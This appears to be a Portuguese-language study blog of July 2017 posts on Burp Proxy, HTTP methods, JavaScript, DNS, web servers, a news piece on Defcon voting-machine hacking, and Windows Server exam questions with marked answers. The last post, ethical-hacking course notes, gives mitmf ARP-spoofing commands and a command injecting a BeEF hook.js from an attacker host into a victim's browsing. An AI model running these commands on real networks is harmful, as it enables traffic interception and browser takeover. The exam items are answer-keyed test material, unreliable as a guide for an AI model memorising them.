Monday, July 31, 2017

Usando o Proxy pelo programa Burp



A ferramenta Proxy está no coração do fluxo de trabalho orientado pelo usuário e oferece uma visão direta de como seu aplicativo de destino funciona por dentro. Ele funciona como um servidor proxy da Web e se faz como se estivesse no meio entre o seu navegador e os servidores da Web de destino. Isso permite interceptar, inspecionar e modificar o tráfego bruto que passa em ambos os sentidos.

Solicitações e respostas de intercepção

A guia Interceptar exibe solicitações e respostas HTTP individuais que foram interceptadas pelo Burp Proxy para revisão e modificação. Esse recurso é uma parte fundamental do fluxo de trabalho direcionado pelo usuário da Burp. Revisar manualmente as mensagens interceptadas é freqüentemente a chave para entender detalhadamente a superfície de ataque do aplicativo. Os parâmetros de solicitação de modificação geralmente permitem que você identifique rapidamente vulnerabilidades de segurança comuns. As solicitações e respostas internas são exibidas em um Editor de mensagens HTTP, que contém inúmeros recursos projetados para ajudá-lo a analisar e manipular rapidamente as mensagens.

Por padrão, o Burp Proxy intercepta apenas as mensagens de solicitação e não intercepta solicitações de URLs com extensões comuns de arquivos que muitas vezes não são diretamente interessantes ao testar (imagens, CSS e JavaScript estático). Você pode alterar esse comportamento padrão nas opções de intercepção. Por exemplo, você pode configurar o Burp para interceptar apenas solicitações de escopo contendo parâmetros ou interceptar todas as respostas contendo HTML.


Além disso, muitas vezes você quer desativar a interceptação de Burp, de modo que todas as mensagens HTTP sejam encaminhadas automaticamente sem exigir a intervenção do usuário. Você pode fazer isso usando a opção de interceptação principal, na guia Interceptar.




https://support.portswigger.net/customer/portal/articles/1783119-using-burp-proxy 
https://www.udemy.com/introducao-a-ethical-hacker/?instructorPreviewMode=guest

GET e POST são dois tipos diferentes de pedido HTTP


De acordo com a Wikipedia:
Com modificações minhas.

GET solicita uma representação do recurso especificado. Observe que o GET não deve ser usado para operações que causam efeitos colaterais, como usá-lo para tomar ações em aplicativos da Web. Um dos motivos para isso é que o GET pode ser usado arbitrariamente por robôs/robots ou rastreadores/crawlers, o que não deve considerar os efeitos colaterais que um pedido deve causar.


POST envia dados a serem processados ​​(por exemplo, de um formulário HTML) ao recurso identificado. Os dados estão incluídos no corpo da solicitação. Isso pode resultar na criação de um novo recurso ou nas atualizações dos recursos existentes ou de ambos.
Então, essencialmente GET é usado para recuperar/salvar/manter dados remotos, e o POST é usado para inserir / atualizar dados remotos.
________________________________________
Especificação HTTP / 1.1 (RFC 2616) seção 9 Definições do método contém mais informações sobre GET e POST, bem como sobre os outros métodos HTTP. Além de explicar os usos pretendidos de cada método, a especificação também fornece pelo menos uma razão prática para o que o GET deve ser usado apenas para recuperar dados:
Autores de serviços que utilizam o protocolo HTTP NÃO DEVEM usar formulários baseados em GET para a submissão de dados sensíveis, pois isso fará com que esses dados sejam codificados no Request-URI. Muitos servidores, proxies e agentes de usuários existentes registrarão o URI de solicitação em algum lugar onde ele possa ser visível para terceiros. Os servidores podem usar a submissão de formulários com base em POST para manter a segurança.
________________________________________
Finalmente, uma consideração importante ao usar as solicitações GET para AJAX é que alguns navegadores - IE em particular - armazenarão em cache os resultados de um pedido GET. Então, se você, por exemplo, pesquisando usando a mesma solicitação GET, você sempre recuperará os mesmos resultados, mesmo se os dados que você está consultando estiverem sendo atualizados lado a lado do servidor. Uma maneira de aliviar esse problema é tornar o URL único para cada solicitação anexando um carimbo de data / hora.

Jogo para programadores

http://silentteacher.toxicode.fr/

Não vale usar o console no seu browser.
;)

Conditional execution of code

Conditional execution of code
To start, create a simple program that inquires the user to guess a secret number. If they guess correctly, the program says, “Well done!” An interaction at the console might  look like this:
> guess(2)
 undefined
> guess(8)
 Well done!
 undefined
What’s with the ugly appearances of undefined? When you call a function at the console, its code is executed and then its return value is displayed. The guess function in the following listing doesn’t include a return statement so it automatically returns undefined.
var secret = 8;
var guess = function (userNumber) {
 if (userNumber === secret) {
 console.log("Well done!");
 }
};
The guess function checks to see if the user’s number is equal to the secret number. It uses the strict equality operator, ===, and an if statement so that you display the “Well done!” message only if the numbers match. The following sections look at the strict equality operator and the if statement in more detail and introduce the else clause.
12.1.1 The strict equality operator, ===
The strict equality operator compares two values. If they’re equal it returns true; if
they’re not equal it returns false. You can test it at the console:
> 2 === 8
 false
> 8 === 8
 true
> 8 === "8"
 false
> "8" === "8"
 true
Listing 12.1 Guess the number 
http://jsbin.com/feholi/edit?js,console

In the third example, you can see that the strict equality operator doesn’t consider the number 8 and the string "8" to be equal. That’s because numbers and strings are different types of data. The values true and false are a third type of data; they’re called boolean values. In fact, true and false are the only possible boolean values. Boolean values are useful when deciding what a program should do next; for example, by using an if statement.
12.1.2 The if statement
To execute a block of code only when a specified condition is met, you use an if statement
if (condition) {
 // Code to execute
}
If the condition in parentheses evaluates to true, then JavaScript executes the statements in the code block between the curly braces. If the condition evaluates to false, then JavaScript skips the code block. Notice there’s no semicolon after the curly braces at the end of an if statement.
 Listing 12.1 used the strict equality operator to return a true or false value for the condition.
if (userNumber === secret) {
 console.log("Well done!");
}
The code logs the “Well done!” message to the console only if the value of user- Number is equal to the value of secret. For example, say the secret is 8 and the user chooses 2:
if (2 === 8) { // The condition is false.
 console.log("Well done!"); // Not executed
}
If the user chooses 8, the if statement becomes
if (8 === 8) { // The condition is true.
              console.log("Well done!"); // This is executed.
}


Get Programming with JavaScript (2016) John R. Larsen 

Defcon hackers find it’s very easy to break voting machines


Hackers at the Defcon Voter Hacking Village taking a look at the software on a Diebold voting machine.
© Provided by CNET Hackers at the Defcon Voter Hacking Village taking a look at the software on a Diebold voting machine.


Quando a senha para uma máquina de votação é "abcde" e não pode ser alterada, a integridade de nossa democracia pode estar em dificuldade.

A máquina WinVote das Soluções de Voto Avançado, denominada "a pior máquina de votação da América", veio equipado com essa senha simples, mesmo quando foi usada em algumas das eleições mais importantes do país. A AVS saiu do mercado em 2007, mas a Virgínia usou suas máquinas inseguras até 2015 antes de deixá-las para sucata. Isso significa que esse fragmento de tecnologia vulnerável foi usado em três eleições presidenciais, começando com a reeleição de George W. Bush em 2004 para Barack Obama em 2012.

Além de Virgínia, Pensilvânia e Mississippi usaram o WinVote sem saber todas as formas em que poderia ser pirateado. Ao contrário de outras tecnologias - telefone, laptop, carros conectados - a segurança não era realmente um foco na época.

Mas as oportunidades para testar o quão seguro nossas máquinas de votação foram relativamente raras. Os fabricantes gostam de manter os detalhes das máquinas de votação em segredo. E eles geralmente não fornecem máquinas para que as pessoas a testarem.





When the password for a voting machine is "abcde" and can't be changed, the integrity of our democracy might be in trouble.

The Advanced Voting Solutions WinVote machine, dubbed "America's worst voting machine," came equipped with this simple password even as it was used in some of the country's most important elections. AVS went out of business in 2007, but Virginia used its insecure machines until 2015 before dropping them for scrap metal. That means this vulnerable hunk of technology was used in three presidential elections, starting with George W. Bush's re-election in 2004 to Barack Obama's in 2012.

In addition to Virginia, Pennsylvania and Mississippi used the WinVote without knowing all the ways it could be hacked. Unlike other technology -- your phone, your laptop, connected cars -- security wasn't really a focus. 

But opportunities to test how secure our voting machines are from hackers have been rare. Manufacturers like to keep the details of voting machines secret. And they don't often provide machines for people to test.

That's why hackers swarmed to the Voter Hacking Village at Defcon in Las Vegas. The massive hacker convention is split into "villages" based on themes such as lock picking, encryption, social engineering and, for the first time, voter machine hacking.

Defcon received more than 30 voting machines to play with, providing a rare opportunity for hackers to find the flaws in our democracy's technology. (The organizers didn't specify how many models the 30 units represented.) Voting technology was elevated into the political spotlight in 2016 as lawmakers raised concerns about Russian hacking and President Donald Trump's road to the White House.

To be clear, there's no evidence any votes were hacked during the 2016 presidential election. But there hasn't been much research on the voting machines to see if it's possible.

"The exposure of those devices to the people who do bug bounties or actually look at these kind of devices has been fairly limited," said Brian Knopf, an internet of things security researcher for Neustar, a security analysis company. "And so Defcon is a great opportunity for those of us who hack hardware and firmware to look to these kind of devices and really answer that question, 'Are they hackable?'"

After just about an hour and a half, the answer was an emphatic "yes."

In the time it takes to sit through "The Emoji Movie," you could break into the WinVote machine through its Wi-Fi system, like DemTech's investigator Carsten Schürmann did on Friday. DemTech is a research project that's been looking at voting technology in Denmark.

He used a Windows XP exploit from 2003, which the voting machine never patched, and got remote access. That meant he could change the votes from anywhere. 

Out of ctrl-alt-del
Synack, a security platform based in San Francisco, had its hands on the WinVote machine months ahead of Defcon. It discovered a host of serious flaws with the system.

While many people at the Voter Hacking Village zeroed in on the weak mechanical lock covering access to the machine's USB port, Synack worked on two open USB ports right on the back. No lock picking was necessary. 

The team plugged in a mouse and a keyboard -- which didn't require authentication -- and got out of the voting software to standard Windows XP just by pressing "control-alt-delete." The same thing you do to force close a program can be used to hack an election.

"It's really just a matter of plugging your USB drive in for five seconds and the thing's completely compromised at that point," Synack co-founder Jay Kaplan said. "To the point where you can get remote access. It's very simple."

Synack's team was able to access the voting machine from a mobile app by installing a remote desktop program on it.

Once you're out of the voting program on the machine, it's just like any old Windows XP computer, Synack found. In one case study, the company found a poll worker in Virginia had hacked the machine so she could play Minesweeper on it.

When you're in the machine, changing votes is as simple as updating an Office document.

It's like an Excel file in which "you would just change the number and upload it back," said Anne-Marie Hwang, an intern at Synack, who demonstrated the vote changes.

The voting machine puzzle
Back at the village, once a voting machine was hacked, it could be reset to its original state for the next person to try his or her hand at it. It was like messing up a Rubik's Cube before passing it to the next person to solve. 

On Friday afternoon, a hacker tapped into the Windows XP side of the AVS WinVote machine and installed Windows Media Player on it. He then rickrolled the room by playing Rick Astley's "Never Gonna Give You Up" on the voting machine.

A hacker calling himself "Oyster" and his team tried to break into a Diebold voting machine on Friday after another team had successfully compromised it.

"I hope that we find a load of vulnerabilities in these just so we can open it up to the public to see how serious the problem is," he said.

Diebold said it sold its voting machine business in September 2009, and declined to comment for the story.

The village is expected to return to Defcon for the next three years, right up until Trump's potential re-election campaign. The hackers at Defcon hope by 2020, their exploits will lead to changes in voting booth technology.

"Hacking it is good because it's able to inform politicians and people in Congress about what they should do with voting machines," Hwang said. "If no one ever hacked them, we might be still using things like this."

Updated at 8:30 a.m. PTto correct name of Diebold voting machine.

Função do Console.log em JavaScript

Um uso comum de diálogos de alerta é a depuração de mensagens. Embora isso pareça um uso aceitável de alertas, geralmente é mais apropriado transmitir essas mensagens no console do navegador usando o método console.log (). Não só isso mantém a mensagem fora da visão do usuário casual, mas muitas vezes você precisa emitir muitos traços de depuração, e a natureza modal do alerta pode ser tanto irritante quanto inadequada, dependendo do que o código esteja fazendo.

Usando o console

Em muitos ambientes, você tem acesso a um objeto de console global que contém alguns métodos básicos para se comunicar com dispositivos de saída padrão. Mais comumente, esta será o console em  JavaScript (veja Chrome, Firefox, Safari e Edge para obter mais informações).

// Na sua forma mais simples, você pode 'registrar' uma string
Console.log ("Olá, Mundo!");

// Você também pode registrar qualquer número de valores separados por vírgula
Console.log ("Olá", "Mundo!");

// Você também pode usar a substituição de string
Console.log ("% s % s", "Olá", "Mundo!");

// Você também pode registrar qualquer variável que exista no mesmo escopo
Var arr = [1, 2, 3];
Console.log (arr.length, this);

Você pode usar diferentes métodos de console para destacar sua saída de diferentes maneiras. Outros métodos também são úteis para depuração mais avançada.
---

Ele publicará uma mensagem de log no console do javascript do navegador, p. Ex. Ferramentas Firebug ou Developer (Chrome / Safari) e mostrará a linha e o arquivo de onde foi executado.

Além disso, quando você exibir um objeto jQuery, ele incluirá uma referência a esse elemento no DOM e clique nela na guia Elements / HTML.

Você pode usar vários métodos, mas tenha cuidado para que ele funcione no Firefox, você deve ter o Firebug aberto, caso contrário a página inteira irá falhar. Se o que você está logando é uma variável, matriz, objeto ou elemento DOM, isso lhe dará uma quebra completa, incluindo o protótipo para o objeto também . Você também pode incluir tantos argumentos quanto quiser, e eles serão substituídos por espaços.

Console.log (myvar, "Logged!");
Console.info (myvar, "Logged!");
Console.warn (myvar, "Logged!");
Console.debug (myvar, "Logged!");
Console.error (myvar, "Logged!");
Estes aparecem com logotipos diferentes para cada comando.

Você também pode usar console.profile (profileName); Para começar a perfilar uma função, script, etc. E, em seguida, encerre-a com console.profileEnd (profileName); E aparecerá na guia Perfis no Chrome.

Para uma referência completa vá para http://getfirebug.com/logging e sugiro que você leia. (Traços, grupos, perfil, inspeção de objetos).

Sunday, July 30, 2017

Microsoft Official Academic Course. 70-410 Installing & Configuring Windows Server 2012 R2

Multiple Choice Select one or more correct answers for each of the following questions.

1. Which of the following rule types apply only to Windows Installer packages?
 a. Hash rules b. Certificate rules c. Internet zone rules[i] d. Path rules
2. Which file type is used by Windows Installer? a. .inf b. .bat c. .msf d. .msi file[ii]
3. Which of the following is not one of the Default Security Levels that can be used with a software restriction policy? a. Basic User b. Unrestricted c. Restricted d. Disallowed
4. As part of your efforts to deploy all new applications using Group Policy, you discover that several of the applications you wish to deploy do not include the necessary installer files. What can you use to deploy these applications? a. Software restriction policies b. .msi files c. .mdb files d. .zap files[iii]
5. Which of the following describes the mathematical equation that creates a digital “fingerprint” of a particular file? a. Hash rule b. Hash algorithm[iv] c. Software restriction policy d. Path rule
6. Which of the following rules will allow or disallow a script or a Windows Installer file to run on the basis of how the file has been signed? a. Path rule b. Hash rule c. Network zone rule d. Certificate rule
7. You want to deploy several software applications using Group Policy, such that the applications can be manually installed by the users from the Add/Remove Programs applet in their local Control Panel. Which installation option should you select? a. Assign b. Disallowed c. Publish d. Unrestricted
8. You have assigned several applications using GPOs. Users have complained that there is a delay when they double-click on the application icon, which you know is the result of the application being installed in the background. What option can you use to pre-install assigned applications when users log on or power on their computers? a. Uninstall when the application falls out of scope b. Install This Application At Logon c. Advanced Installation Mode d. Path rule
9. Which of the following Default Security Levels in Software Restriction Policies will disallow any executable from running that has not been explicitly enabled by the Active Directory administrator? a. Basic User b. Restricted c. Disallowed d. Power User

Microsoft Official Academic Course. 70-410 Installing & Configuring Windows Server 2012 R2 (Microsoft Official Academic Course) (Page 448). Wiley. Kindle Edition.



[i] NETWORK ZONE RULES Network zone rules apply only to Windows Installer packages that attempt to install from a specified zone, such as a local computer, a local intranet, trusted sites, restricted sites, or the Internet. You can configure this type of rule to enable Windows Installer packages to be installed only if they come from a trusted area of the network. For example, an Internet zone rule can restrict Windows Installer packages from being downloaded and installed from the Internet or other network locations.

Microsoft Official Academic Course. 70-410 Installing & Configuring Windows Server 2012 R2 (Microsoft Official Academic Course) (Page 439). Wiley. Kindle Edition.

[ii] The Windows Installer Service requires a package file that contains all the pertinent information about the software. This package file consists of the following information:

• An .msi file, which is a relational database file that is copied to the target computer system, with the program files it deploys. In addition to providing installation information, this database file assists in the self-healing process for damaged applications and clean application removal. • External source files that are required for software installation or removal. • Summary information about the software and the package. • A reference point to the path where the installation files are located.

Microsoft Official Academic Course. 70-410 Installing & Configuring Windows Server 2012 R2 (Microsoft Official Academic Course) (Page 430). Wiley. Kindle Edition.

[iii] Generally, application manufacturers do not support the reengineering of their .msi packages. However, you can use the .mst process to modify manufacturer-supplied .msi packages to reflect the needs of your organization. When repackaging an application is not an option and a Windows Installer file is not available, you can use a .zap file to publish an application. A .z ap file is a non–Windows Installer package that you can create by using a text editor. A .zap file looks and functions similar to an .ini file. Th e disadvantages of creating .zap files are as follows: • They can be published, but not assigned. These two options are discussed in detail later in this lesson. • Deployments require user intervention, rather than being fully unattended. • Local administrator permissions might be required to perform the installation. • They do not support custom installations or automatic repair. • They do not support the removal of applications that are no longer needed or applications that failed to install properly.

Microsoft Official Academic Course. 70-410 Installing & Configuring Windows Server 2012 R2 (Microsoft Official Academic Course) (Page 431). Wiley. Kindle Edition.


[iv] HASH RULES A hash is a series of bytes with a fixed length that uniquely identifies a program or file. A hash value is generated by an algorithm that essentially creates a fingerprint of the file, making it nearly impossible for another program to have the same hash. If you create a hash rule and a user attempts to run a program affected by the rule, the system checks the hash value of the executable file and compares with the hash value stored in the software restriction policy. If the two values match, the policy settings will apply. Therefore, creating a hash rule for an application executable prevents the application from running if the hash value is not correct. Because the hash value is based on the file itself, you can move the file from one location to another and it will still function. If the executable file is altered in any way, such as if it is modified or replaced by a worm or virus, the hash rule in the software restriction policy prevents the file from running.

Microsoft Official Academic Course. 70-410 Installing & Configuring Windows Server 2012 R2 (Microsoft Official Academic Course) (Page 438). Wiley. Kindle Edition.

Friday, July 28, 2017

Tecnologia de vigilância de restaurantes.

Minha análise sobre Tecnologia de vigilância de restaurantes
Bruce Schneier 

Eu assisti a exposição da National Restaurant Association em Chicago no início deste ano e olhei para todas as maneiras pelas quais o restaurante moderno está espionando as pessoas.

Mas também há um aspecto fundamentalmente assustador para muito disso. Uma das principais maneiras de aumentar o valor da sua marca é usar a Internet para praticar a vigilância de seus clientes e funcionários. O lado do cliente se sente menos invasivo: os aplicativos de fidelidade são bastante agradáveis, se na verdade você geralmente vai ao mesmo lugar, assim como a capacidade de fazer pedidos por via eletrónica ou fazer reservas com um clique facilita a vida do cliente.

Schneier pergunta "quem possui os dados?" Há valor para coletar dados sobre hábitos de gastos, como já vimos no comércio eletrônico. Os restaurantes estão plenamente conscientes do que estão cedendo? Schneier, um crítico da mineração de dados, ressalta que se torna especialmente invasivo através de "usos secundários", quando os "dados estão correlacionados com outros dados e vendidos a terceiros". Por exemplo, talvez você tenha inserido seu nome, gênero e idade em um aplicativo de fidelização de taco (12º taco grátis!). Mais tarde, os vendedores desse aplicativo vendem seus dados para outros comerciantes que sabem onde e quando você come, seja vegetariano ou não, e muitos outros dados que você acidentalmente proveu. É isso que os clientes realmente querem?

Tags: coleta de dados, privacidade, restaurantes, vigilância
https://www.schneier.com/blog/archives/2017/07/me_on_restauran.html

Apache e IIS

Fazendo download do Apache

O Apache para todos os sistemas operacionais está disponível no site oficial deles. Você pode baixar o código-fonte para compilar no seu sistema operacional.
Compilar e instalar o código-fonte não é difícil no Linux e no Mac, mas requer conhecimentos especializados e software no Windows.
Arquivos binários - compilados, arquivos prontos para execução que só precisam ser copiados para a localização correta - estão disponíveis para o Windows.
Para obter o Apache no site Apache, vá para http://httpd.apache.org. Navegue até a seção para a versão do Apache que deseja baixar, clique no link apropriado para a versão que deseja baixar. É exibida uma página de download com links para baixar as versões atuais.

Obtendo kits de instalação tudo-em-um

Você pode obter alguns kits que contêm e instalam PHP, MySQL e Apache em um único procedimento. Esses kits podem simplificar bastante o processo de instalação. No entanto, o software fornecido pode não incluir os recursos e as extensões que você precisa.
O XAMPP é um kit de instalação all-in-one popular que contém Apache, PHP e MySQL. O XAMPP possui versões estáveis ​​disponíveis para o Windows e para várias versões do Linux. O XAMPP está disponível em www.apachefriends.org/en/xampp.html.
O WAMPServer é um kit de instalação popular para Windows que fornece versões recentes do Apache, PHP e MySQL. Ele também instala o phpMyAdmin, um utilitário para gerenciar seus bancos de dados MySQL. O servidor WAMPS está disponível em www.wampserver.com/en.
O MAMP é um kit de instalação para Mac que instala o Apache, PHP e MySQL para Mac OS X. Este pacote gratuito instala um ambiente de servidor local em seu Mac. Você pode obter MAMP em www.mamp.info.




Questão:
Como você abre o Gerenciador do IIS (Serviços de Informações da Internet) usando o Windows 10?
Eu instalei a pré-visualização do desenvolvedor do Windows 10 e não consigo encontrar o Gerenciador do IIS? Não está no Painel de controle> Ferramentas administrativas.
Quando eu navego para a pasta C: \ Windows \ System32 \ inetsrv está vazia.
Eu fiz uma pesquisa completa do meu disco rígido para encontrar inetmgr.exe e encontrei três cópias e nenhuma delas abriria, quando eu tentei abri-las diz "Este aplicativo não pode ser executado no seu PC" Para encontrar uma versão da aplicação que Trabalha entre em contato com o editor.
Resposta: Pressione a tecla Windows e digite Recursos do Windows – Windows Features ou você também pode digitar - appwiz.cpl -,
Verifique se a caixa ao lado do IIS está marcada.


Imagem.
Se não estiver marcado, verifique. Isso pode levar alguns minutos, mas isso irá instalar tudo o que você precisa para usar o IIS.
Quando estiver concluído, o IIS deve retornar ao Painel de controle> Ferramentas administrativas
Depois de ativar o IIS (acessando ou desativando as funções do Windows), digite inetmgr na barra de pesquisa ou executar
Referências:


Https://stackoverflow.com/questions/30901434/iis-manager-in-windows-10

Thursday, July 27, 2017

JavaScript e Java


Não confunda JavaScript com Java, eles são línguas completamente diferentes.

----

Even though Java and JavaScript both are object-oriented languages, are commonly used on the Web, and have syntaxes that resemble the syntax of C, they are actually very different languages. Java is a class-based, object-oriented language, whereas JavaScript is prototype based. Java is strongly typed, whereas JavaScript is weakly typed. Java is compiled into platform-independent bytecode before execution, while JavaScript source code is generally interpreted directly by the browser.
Yet, interestingly, the inherent promise of Java applets[i] seems to have weakened. The idea was to bring a cross-platform development environment with security and performance to a diverse device world, but JavaScript, as opposed to Java, has met this now. Java applets continue to live on and so we take a few pages to delve into them and how they interact with JavaScript, but given the current trends, their future looks somewhat dim.


Reference:
JavaScript - Thomas Powell & Fritz Schneider.


[i] You can find out more about Java once you know it is available by accessing a Java applet included in the
page. You can even determine what type of Java Virtual Machine is supported. In order to do this, you will have to access the public methods and properties of a Java applet.



A dupla MySQL e PHP têm várias vantagens


✦ Eles são gratuitos. É difícil de medir o peso aqui pela relação custo-benefício.

✦ Eles estão orientados para a web. Ambos foram projetados especificamente para uso em web-Sites. Ambos têm um conjunto de recursos focados na construção de sites dinâmicos.

✦ Eles são fáceis de usar. Ambos foram projetados para obter um site rapidamente.

✦ Eles são rápidos. Ambos foram projetados com velocidade como objetivo principal. Juntos eles fornecem uma das formas mais rápidas para oferecer páginas web dinâmicas.


Para os usuários.

✦ Eles se comunicam bem um com o outro. O PHP possui recursos embutidos para se comunicar com o MySQL. 

✦ Uma ampla base de suporte está disponível para ambos. Porque eles costumam ser usados ​​como um par, eles geralmente têm a mesmo base de usuários ou até o mesmo banco de dados. 

✦ Eles são personalizáveis. Ambos são de código aberto, permitindo que o programadores modifiquem o software PHP e MySQL para se adequarem aos seus próprios Ambientes.

Referência e base para construção do texto
PHP, MySQL, JavaScript & HTML5 - Steven Suehring, Janet Valade.

Nomes de domínio e endereços IP – Domain Name Service - DNS



Todo site precisa de um endereço exclusivo na rede. O endereço exclusivo usado pelos computadores para localizar um site é o Protocolo de Internet (IP) . A versão mais comum de IP é a versão 4 (IPv4), mas a versão 6 (IPv6) está se tornando mais popular. Na versão 4, um IP Endereço é uma série de quatro números entre 0 e 255, separados por pontos (por exemplo, 172.17.204.2 ou 192.168.2.33).
Como os endereços IP são compostos de números e pontos, eles não são fáceis de lembrar. Felizmente, existe um serviço de tradução chamado Sistema de Nomes de Domínio (DNS) que fornece Serviços de tradução entre endereços IP e Nomes de host amigáveis ​​que são mais fáceis de lembrar. Na web, você geralmente vê "www" seguido Por um ponto seguido de um nome de domínio, como em www.wwf.org. Nesse endereço, o www é Chamou um subdomínio e a parte wwf.org é Chamado nome de domínio. Tecnicamente, a parte “.org” é chamado de domínio de nível superior ou TLD.
Quando você navega para um site como www.wwf.org, um servidor DNS que é Conhecido por seu computador pergunta "Qual é o IP Endereço de www.wwf.org? "O DNS do servidor então procura o endereço para www.wwf.org e envia-o de volta ao seu Computador para que você possa entrar em contato com o servidor responsável por www.wwf.org.
Cada nome de domínio deve ser exclusivo.

Consequentemente, um sistema de registro de domínio onde os nomes garantem que nenhum dos locais use o Mesmo nome de domínio. Para a maior parte (e para problemas envolvendo leis), qualquer um pode registrar qualquer domínio, enquanto o nome ainda não for registrado.

O navegador da Web


Adaptado por Afonso Alves

Quando um cliente solicita uma página da Web, um navegador da Web, como o Microsoft Internet Explorer ou o Mozilla Firefox (ou Safari ou Google Chrome ou Opera). A própria página web pode ser um documento armazenado em seu computador, por diversos tipos de armazenamentos e circunstâncias, dependendo de sua autorização consciente ou/e não consciente.
Como um documento de processamento de texto. Um programa como o Microsoft Word sabe como abrir documentos formatados para o Microsoft Word. Da mesma forma, um navegador da Web sabe como abrir documentos formatados para a web.
Os navegadores da Web são programados para ler e analisar os documentos especialmente formatados conhecidos como páginas da web.
O navegador da Web não sabe apenas como abrir e analisar documentos formatados para a web, mas também como entrar em contato com outros computadores para solicitar documentos deles. Por exemplo, quando você digita http://www.cnn.com na barra de endereços do seu navegador, o navegador sabe como traduzir essa solicitação para a página resultante que você acabou de receber.


O servidor web

Quando um navegador da Web solicita uma página, ele geralmente entra em contato com um servidor web. Assim como o navegador da Web é um software programado para saber como analisar páginas da web, o servidor web é um programa que está programado para enviar páginas da web quando solicitado. Vários pacotes de software de servidor web populares estão disponíveis, mas dois se destacam acima do resto: Apache httpd e Microsoft Internet Information Service (IIS). Entre os dois, esses pacotes de software de servidor são responsáveis ​​por hospedar a grande maioria de todos os domínios da web.

Os servidores da Web e os navegadores da Web conversam uns com os outros usando um protocolo chamado - Protocolo de transferência HyperText ou HTTP. Em essência, o HTTP é apenas uma maneira para essas duas partes se falarem. Pense nisso como sendo o protocolo envolvido em fazer uma ligação telefônica. Quando você faz uma ligação telefônica, você marca alguns dígitos. (Isto é como o navegador da Web usando o endereço IP para entrar em contato com o servidor web.) O indivíduo Quem responde a chamada é esperado para dizer "Olá" ou algo semelhante. Como um
Resposta, você deve dizer "Olá" ou "O que é Aquilo?" ou alguma outra Saudação apropriada para que ambos saibam que a conversa está em andamento.
Isto é tudo o que HTTP ou qualquer outro protocolo da Internet faz: define como e Quando cada parte envolvida na conversa deve agir. Um dos principais Entre HTTP e uma conversa telefônica é que HTTP é dito stateless, ou seja, sem conexão contínua. Esta é uma maneira elegante de dizer que o HTTP não lembra o que está fazendo de uma solicitação para a próxima. Quando você solicita uma página da Web, o servidor web não tem como saber que você apenas solicitou a mesma página 3 Segundos atrás e não saberá se você solicitar a mesma página de 3 depois. Isso é importante quando você começa a programar aplicativos da Web que precisam lembrar de uma tela para a próxima - e você verá como É fácil resolver o problema.
Para não achar que você erroneamente comprou a Internet For Leigos, vamos concentrar isso:
Discussão de volta para a programação web. Antes de fazer isso, aqui está uma soma:
Um navegador da Web é um software especial que sabe como abrir e interpretar
paginas web. Os navegadores da Web também sabem como entrar em contato com os servidores da Web para obter em formação.
A web opera em um modelo cliente-servidor.
Um servidor web é um software especial que sabe como responder aos pedidos
Para páginas web.
Os servidores da Web e os navegadores da Web falam HTTP entre si e fazem isso
Usando nomes de host, nomes de domínio e endereços IP.

Referências

PHP, MySQL, JavaScript & HTML5 - Steven Suehring, Janet Valade

MITM ataque real – considerações

MITM ataque real – considerações
Verificar video no curso Introdução à Ética Hacker no site
https://www.udemy.com/introducao-a-ethical-hacker/?instructorPreviewMode=guest
Seção 7 - Network Penetration Test.
Afonso Alves

O texto abaixo são anotações que facilitam a fixação das sequências e configurações.

Redes reais - Certifique-se de especificar o IP certo e de estar na mesma rede do alvo.
Máquina Kali - rede nat desligada.
ifconfig para verificar isso.
Estou desligando-me na rede - problema de dns ou conexão muito lenta ou perda de conexão pode acontecer.
Desconecte-se da sua rede virtual seja bridge ou nat.
Dispositivos - rede - desmarque o adaptador de rede
Ifconfig etho não está conectado com a máquina principal - não podemos fazer ping
- Agora conectado à mesma máquina que você está atacando – ao roteador.
- Você não pode usar sua placa sem fio interna - apenas com external wireless.
- Conecte seu cartão sem fio - wlan0 - cartão sem fio - ainda não conectado.
- Precisamos nos conectar à mesma rede.
- Esta duas placas sem fio estão conectadas à mesma sub-rede ou subnet.
- Temos a chance de ver o Mac address do Router do alvo.
Comando  - mitmf -arp -spoof -i wlan0 -gateway 192.168.0.1 -target 192.168.0.19
- Estamos usando wlan0 - roteador de gateway e alvo
arp –a para checar se o arp address foi modificado
- A mudança leva tempo na camada de endereço MAC
- Mitmf está sniffing dados quando o alvo atualiza a primeira página após o comando ser executado.

Revisão
- Certifique-se de estar conectado à mesma rede
- Não usar bridge ou nat na sua máquina virtual
- Desligue sua máquina kali para a rede nat.
- A máquina Kali tem que ser isolada para conectar ao homem no meio
- Depois de terminar com isso, apenas conectar novamente ao seu adaptador de rede. Eth0 tem agora um endereço IP conectado ao seu computador.





Imagens:



Imagem da configuração necessária para acontecer o MITMf, você deve estar desconectado de sua máquina virtual.



Aqui o comando complete onde o que poderá mudar aqui no seu computador é o wlan0 fornecido pelo seu Kali e os dois IPs – um do Router/gateway e o outro do target/alvo.







Se o MITMf não estiver instalado, execute o comando abaixo.
Se a ferramenta MITMf não vem instalada com o Kali Linux. Ela deve ser instalado separadamente usando o seguinte comando:
apt-get install mitmf
Certifique-se de ter os repositórios corretos definidos no arquivo sources.list presente na pasta /etc/apt/ , uma vez que a instalação da ferramenta exigiria alguns arquivos adicionais para resolver o problema de dependências, que pode ser encontrado nos seguintes links:
deb http://http.kali.org/kali kali main non-free contrib
deb http://security.kali.org/kali-security kali/updates main contrib non-free
deb-src http://http.kali.org/kali kali main non-free contrib
deb-src http://security.kali.org/kali-security kali/updates main contrib non-free
Uma vez instalada a ferramenta, identifique o endereço IP da vítima e o gateway padrão. A máquina Kali Linux atuará como o tráfego do homem-em-meio ao ataque e redireciona os dois pontos finais.
--- Daqui para frente é um complemento para entender que MITM pode ser feito de um outro jeito envolvendo outro programa que trabalharemos em outra aula, isto é, veremos na prática como fazer este gancho com um js(javaScript).
Injetando o gancho/hook BeEF usando MITM
O comando completo que executaria a falsificação de ARP e também configuraria MITMf para injetar o URL é mostrado da seguinte maneira:
mitmf -i eth0 --arp --spoof --gateway 192.168.1.123 --target 192.168.1.22 - inject -js-url http://192.168.1.70:3000/hook.js
Esse comando gerará a seguinte saída:

Assim que o cliente envia uma solicitação para uma página da Web, você verá alguma atividade gerada na interface da ferramenta. No painel BEEF UI, você encontrará o navegador on-line e pronto para ser assumido. Através do método MITM, você poderia injetar o gancho Beeb em todos os sites que você poderia pensar, assim recebendo dados que são enviados de volta do servidor, ainda mais que e o navegador do cliente não tem como identificar os dados injetados.

A única maneira de identificar se um gancho BeEF foi injetado no arquivo HTML no final do cliente é exibindo a fonte(código fonte) pressionando Ctrl + U no navegador. Quando o código abre em um editor de texto, Procure a palavra-chave hook.js (ou examine cuidadosamente todo o arquivo). Você certamente encontrará O URL do JavaScript injetado nela.

